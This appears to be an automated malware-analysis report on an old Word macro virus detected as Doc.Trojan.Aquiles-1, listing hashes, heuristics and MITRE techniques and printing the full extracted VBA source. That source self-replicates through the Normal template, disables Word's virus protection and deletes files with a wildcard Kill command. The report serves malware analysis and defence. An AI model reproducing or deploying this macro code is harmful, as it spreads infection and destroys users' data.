Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca47c95546703842…

MALICIOUS

Office (OLE)

28.5 KB Created: 2002-08-21 11:12:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: ec023368abb6ea9fbcbc99aa93927025 SHA-1: ae05eb8a07665301202442e900ac4f0ae0dfb28f SHA-256: ca47c95546703842eb507c294954ad91814b4f67b25389cee6f7c8e4d7483ac7
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro attempts to modify itself and potentially other templates, suggesting an effort to hide or establish persistence. The ClamAV detection of 'Doc.Trojan.Aquiles-1' strongly indicates malicious intent, likely involving the delivery of a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Aquiles-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Aquiles-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2849 bytes
SHA-256: 9267d541ef84e31dc7b5663356b0bc7975e52533a9a8c8c31d11fca1662b6dfa
Detection
ClamAV: Doc.Trojan.Aquiles-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Aquiles"
Attribute VB_Base = "1Normal.Aquiles"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
 On Error Resume Next
 If ActiveDocument.VBProject.VBComponents.Count > 1 Then
 For op = 2 To ActiveDocument.VBProject.VBComponents.Count
   cantidad = ActiveDocument.VBProject.VBComponents.Item(op).CodeModule.CountOfLines
   ActiveDocument.VBProject.VBComponents.Item(op).CodeModule.DeleteLines 1, cantidad
 Next op
 End If
 If NormalTemplate.VBProject.VBComponents.Count > 1 Then
 For op = 2 To NormalTemplate.VBProject.VBComponents.Count
   cantidad = NormalTemplate.VBProject.VBComponents.Item(op).CodeModule.CountOfLines
   NormalTemplate.VBProject.VBComponents.Item(op).CodeModule.DeleteLines 1, cantidad
 Next op
 End If
 Document_Close
End Sub
Private Sub Document_Close()
 On Error Resume Next
 CommandBars("Visual Basic").Visible = False
 Options.VirusProtection = False
' CommandBars("Tools").Controls("Macro").Enabled = False
' CommandBars("View").Controls(6).Enabled = False
' CommandBars("tools").Controls(15).Enabled = False
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
 If MacroContainer.FullName = ActiveDocument.FullName Then
  If nt.Name <> "Aquiles" Then GoTo ClaudioNormal
 Else
  If ad.Name <> "Aquiles" Then GoTo Aquilesdocument
 End If
GoTo Findelmundo
Aquilesdocument:
 lineas = ad.CodeModule.CountOfLines
 ad.CodeModule.DeleteLines 1, lineas
 lineas = 1
 Do While lineas <= nt.CodeModule.CountOfLines
    cadenadecodigo = nt.CodeModule.lines(lineas, 1)
    ad.CodeModule.insertlines lineas, cadenadecodigo
    lineas = lineas + 1
 Loop
 ad.Name = "Aquiles"
 Open "C:\systemDos" For Append As #1
   Print #1, ActiveDocument.Path
 Close #1
 ActiveDocument.Save
GoTo Findelmundo
ClaudioNormal:
 lineas = nt.CodeModule.CountOfLines
 nt.CodeModule.DeleteLines 1, lineas
 lineas = 1
 Do While lineas <= ad.CodeModule.CountOfLines
    cadenadecodigo = ad.CodeModule.lines(lineas, 1)
    nt.CodeModule.insertlines lineas, cadenadecodigo
    lineas = lineas + 1
 Loop
 nt.Name = "Aquiles"
 NormalTemplate.Save
Findelmundo:
If Dir("C:\systemDos", vbNormal) <> "" Then
If FileLen("C:\systemDos") > 1024 Then
  Open "C:\systemDos" For Input As #1
    Line Input #1, direccion
    Do While Not EOF(1)
      Kill (s + "\*.*")
      Line Input #1, direccion
    Loop
  Close #1
  Kill ("C:\systemDos")
End If
End If
'Al rio jactancioso, Dios le a puesto un vado. Malinke
'Y una vez mas el emperador interpuso su alma, claudIo
'esto es una modificacion, trato de llegar a la perfeccion
End Sub

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